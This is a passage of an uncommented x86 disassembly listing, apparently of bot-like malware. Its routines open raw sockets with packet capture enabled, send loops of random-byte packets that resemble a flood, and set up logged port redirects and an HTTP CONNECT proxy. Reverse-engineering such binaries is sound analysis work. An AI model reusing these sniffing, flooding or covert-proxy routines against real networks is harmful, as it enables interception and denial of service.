		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42785D:				; CODE XREF: sub_4277C0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42787B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42787B:				; CODE XREF: sub_4277C0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42788E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42788E:				; CODE XREF: sub_4277C0+9Bj
					; sub_4277C0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_4278A4
		mov	[esp+28h+arg_FFE4], 1


loc_4278A4:				; CODE XREF: sub_4277C0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_4278DE


loc_4278CB:				; CODE XREF: sub_4277C0+11Cj
		call	ebx
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_4278CB


loc_4278DE:				; CODE XREF: sub_4277C0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427970
		mov	ebp, dword_50FC5C


loc_4278F6:				; CODE XREF: sub_4277C0+1AEj
		mov	al, byte_4D64E9
		test	al, al
		jz	short loc_427970
		mov	esi, 0Bh


loc_427904:				; CODE XREF: sub_4277C0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		call	near ptr 2830000h
		nop
		dec	esi
		jnz	short loc_427904
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_42795B
		call	ebx
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+48h+var_36], ax


loc_42795B:				; CODE XREF: sub_4277C0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_4278F6


loc_427970:				; CODE XREF: sub_4277C0+12Aj
					; sub_4277C0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_4277C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4279F0	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427A4D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A4D:				; CODE XREF: sub_4279F0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427A6D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A6D:				; CODE XREF: sub_4279F0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_4279F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AD0	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F60
		mov	eax, edi


loc_427B37:				; CODE XREF: sub_427AD0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427B5B
		test	cl, cl
		jz	short loc_427B57
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427B5B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427B37


loc_427B57:				; CODE XREF: sub_427AD0+71j
		xor	eax, eax
		jmp	short loc_427B60
; ---------------------------------------------------------------------------


loc_427B5B:				; CODE XREF: sub_427AD0+6Dj
					; sub_427AD0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427B60:				; CODE XREF: sub_427AD0+89j
		cmp	eax, ebx
		jnz	short loc_427BB3
		mov	ebp, dword_4D60F7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427B77
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BBE


loc_427B77:				; CODE XREF: sub_427AD0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427BBE
; ---------------------------------------------------------------------------


loc_427BB3:				; CODE XREF: sub_427AD0+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427BBE:				; CODE XREF: sub_427AD0+A5j
					; sub_427AD0+E1j
		cmp	ebp, ebx
		jz	short loc_427BC7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BCD


loc_427BC7:				; CODE XREF: sub_427AD0+F0j
		mov	ebp, dword_4D60F7


loc_427BCD:				; CODE XREF: sub_427AD0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427D0D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427CF3
		mov	ebx, dword_50FC90


loc_427C63:				; CODE XREF: sub_427AD0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427CE3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427CBE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427CDB
; ---------------------------------------------------------------------------


loc_427CBE:				; CODE XREF: sub_427AD0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427CE3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427CDB:				; CODE XREF: sub_427AD0+1ECj
		call	sub_40207C
		add	esp, 8


loc_427CE3:				; CODE XREF: sub_427AD0+1C0j
					; sub_427AD0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427C63


loc_427CF3:				; CODE XREF: sub_427AD0+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop


loc_427D0D:				; CODE XREF: sub_427AD0+11Dj
					; sub_427AD0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427AD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427DC0	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444F30
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E30	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427EF0	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427EF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427EF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427FC0:				; CODE XREF: ___:00401A14j
					; ___:loc_402068j
		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	byte ptr [esp+8], 1
		jz	short loc_427FD8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427FD8:				; CODE XREF: ___:00427FCDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FF0	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_428008
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428008:				; CODE XREF: sub_427FF0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427FF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428020	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_428020	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428040	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_428040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428160	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_428160	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428220	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_428238
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428238:				; CODE XREF: sub_428220+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428220	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428250	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42826E
		push	eax
		call	edi


loc_42826E:				; CODE XREF: sub_428250+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42827C
		push	eax
		call	edi


loc_42827C:				; CODE XREF: sub_428250+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_428250	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282C0	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BA92
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_4282F8:				; CODE XREF: sub_4282C0+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429310
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4283B0
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429280
; ---------------------------------------------------------------------------


loc_4283B0:				; CODE XREF: sub_4282C0+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445248
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428475
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4292FF
		jmp	loc_42866A
; ---------------------------------------------------------------------------


loc_428475:				; CODE XREF: sub_4282C0+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42866A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_42866A
		mov	[esp+1Ch+arg_EC], 50h


loc_42866A:				; CODE XREF: sub_4282C0+1B0j
					; sub_4282C0+1FCj ...
